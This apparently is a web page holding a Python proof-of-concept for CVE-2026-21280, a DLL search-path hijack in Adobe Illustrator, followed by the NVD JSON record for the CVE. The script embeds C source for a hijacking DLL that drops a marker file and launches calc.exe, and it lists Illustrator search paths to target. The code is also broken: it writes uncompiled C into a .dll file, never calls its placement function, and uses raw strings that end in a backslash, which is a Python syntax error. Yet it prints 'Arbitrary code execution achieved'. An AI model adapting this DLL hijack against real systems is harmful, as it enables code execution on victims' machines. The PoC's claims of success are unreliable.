CVE-2026-21280

# CVE-2026-21280 PoC - Adobe Illustrator Untrusted Search Path # This PoC demonstrates how an attacker can exploit the search path vulnerability # by creating a malicious DLL that gets loaded by Illustrator import os import sys # Malicious DLL that will be placed in the search path MALICIOUS_DLL = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create a file to demonstrate code execution FILE *fp = fopen("C:\\\\Temp\\\\illustrator_pwned.txt", "w"); if (fp) { fprintf(fp, "Adobe Illustrator DLL Hijacking Successful!\\n"); fprintf(fp, "Arbitrary code executed at: %s\\n", __TIMESTAMP__); fclose(fp); } // Execute malicious payload system("calc.exe"); } return TRUE; } ''' def create_malicious_dll(): """Generate the malicious DLL source code""" dll_path = "malicious_illustrator.dll" with open(dll_path, 'w') as f: f.write(MALICIOUS_DLL) print(f"[+] Created malicious DLL: {dll_path}") return dll_path def place_in_search_path(target_dir): """Place the malicious DLL in Illustrator's search path""" dll_name = "malicious_illustrator.dll" target_path = os.path.join(target_dir, dll_name) # Copy malicious DLL to target directory # In real attack, this would be done via social engineering or other methods print(f"[!] In a real attack, DLL would be placed at: {target_path}") print("[!] When Illustrator loads, it will execute the malicious code") def main(): print("=" * 60) print("CVE-2026-21280 PoC - Adobe Illustrator Search Path Hijacking") print("=" * 60) create_malicious_dll() # Common Illustrator search paths that might be exploited search_paths = [ r"C:\Program Files\Adobe\Adobe Illustrator\Support Files\", r"C:\Users\Public\Documents\", r"C:\Temp\"] print("\n[!] Target Illustrator search paths:") for path in search_paths: print(f" - {path}") print("\n[!] Attack requires user to open malicious .ai file") print("[!] Illustrator will load malicious DLL from search path") print("[!] Arbitrary code execution achieved") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-21280", "sourceIdentifier": "[email protected]", "published": "2026-01-13T19:16:25.693", "lastModified": "2026-01-14T19:28:23.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Illustrator versions 29.8.3, 30.0 and earlier are affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. If the application uses a search path to locate critical resources such as programs, an attacker could modify that search path to point to a malicious program, which the targeted application would then execute. Exploitation of this issue requires user interaction in that a victim must open a malicious file and scope is changed."}, {"lang": "es", "value": "Las versiones 29.8.3, 30.0 y anteriores de Illustrator se ven afectadas por una vulnerabilidad de Ruta de Búsqueda No Confiable que podría resultar en ejecución de código arbitrario en el contexto del usuario actual. Si la aplicación utiliza una ruta de búsqueda para localizar recursos críticos como programas, un atacante podría modificar esa ruta de búsqueda para que apunte a un programa malicioso, que la aplicación objetivo ejecutaría entonces. La explotación de este problema requiere interacción del usuario, en el sentido de que la víctima debe abrir un archivo malicioso y el alcance se modifica."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-426"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "29.0", "versionEndExcluding": "29.8.4", "matchCriteriaId": "51DBEB22-5A04-40DC-BF47-0A6711977FBA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:30.0:*:*:*:*:*:*:*", "matchCriteriaId": "7239093D-0266-4AFA-BA6C-94F6593E0B4B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/illustrator/apsb26-03.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}